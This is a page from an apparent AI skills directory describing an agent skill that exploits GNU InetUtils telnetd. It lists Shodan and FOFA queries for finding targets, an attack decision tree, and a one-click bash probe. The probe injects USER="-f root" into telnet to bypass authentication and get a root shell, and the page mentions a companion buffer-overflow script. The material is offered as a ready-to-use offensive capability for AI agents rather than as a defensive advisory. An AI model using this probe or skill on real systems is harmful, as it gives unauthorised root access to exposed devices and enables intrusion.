SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsinetutils-telnetd-exploit

inetutils-telnetd-exploit

Security & auditing

View repository

Updated 10-16 09:44

About this skill

GNU InetUtils telnetd Exploit Skill

GNU InetUtils telnetd is the classic Telnet server daemon, widely present in embedded devices and older Linux/Unix systems. This skill documents two high-severity exploit methods disclosed in 2026.

Target Information

  • Product: GNU InetUtils telnetd (affected versions <= 2.7)
  • Default Port：23/tcp
  • Shodan：port:23 telnet | FOFA：port="23" && protocol="telnet"

Vulnerability Overview

CVE Type Impact Severity CWE
CVE-2026-24061 Authentication Bypass (Argument Injection) root privilege shell Critical 9.8 CWE-88
CVE-2026-32746 Buffer Overflow (SLC) DoS / RCE High CWE-120

Attack Path Decision Tree

目标: TARGET:23
  |
  +-- telnet 连接成功?
  |     +-- 是 -> 检测 banner 识别 telnetd 类型
  |     |     +-- GNU InetUtils -> 测试两个 CVE
  |     |     +-- 其他 telnetd -> 本技能不适用
  |     |     +-- 无 banner -> 直接尝试利用
  |     +-- 否 -> 端口不可达或被过滤
  |
  +-- P0: CVE-2026-24061 认证绕过
  |     +-- 成功 -> 直接获取 root shell（见 references/cve-2026-24061-auth-bypass.md）
  |     +-- 失败 -> 可能已修补或非 GNU InetUtils
  |
  +-- P1: CVE-2026-32746 SLC 溢出检测（见 references/cve-2026-32746-slc-overflow.md）

Quick Reference Table

Priority CVE One-line Detection Success Indicator
P0 CVE-2026-24061 USER="-f root" telnet -a TARGET 23 uid=0(root)
P1 CVE-2026-32746 python3 telnetd_cve_2026_32746.py -H TARGET -v SLC data is tampered with

One-click Probe

TARGET="TARGET_IP"
echo "[1] Connectivity..." && echo "quit" | timeout 5 telnet "$TARGET" 23 2>&1 | head -5
echo "[2] CVE-2026-24061 auth bypass..."
timeout 10 bash -c '(sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a '"$TARGET"' 23' 2>&1 \
  | grep -q 'uid=0(root)' && echo "[!] VULNERABLE" || echo "[-] Not vulnerable"
echo "[3] CVE-2026-32746 -> run Python script (see references)"

Notes

  • CVE-2026-24061 requires the target to use GNU InetUtils telnetd (not OpenSSH, dropbear, etc.)
  • -f The argument bypass depends on login the program supporting this flag (supported by most Linux distributions)
  • The CVE-2026-32746 detection script only determines the existence of the vulnerability; actual RCE requires further development
  • If the target disables root telnet login, you can try:USER="-f username"

Detailed Reference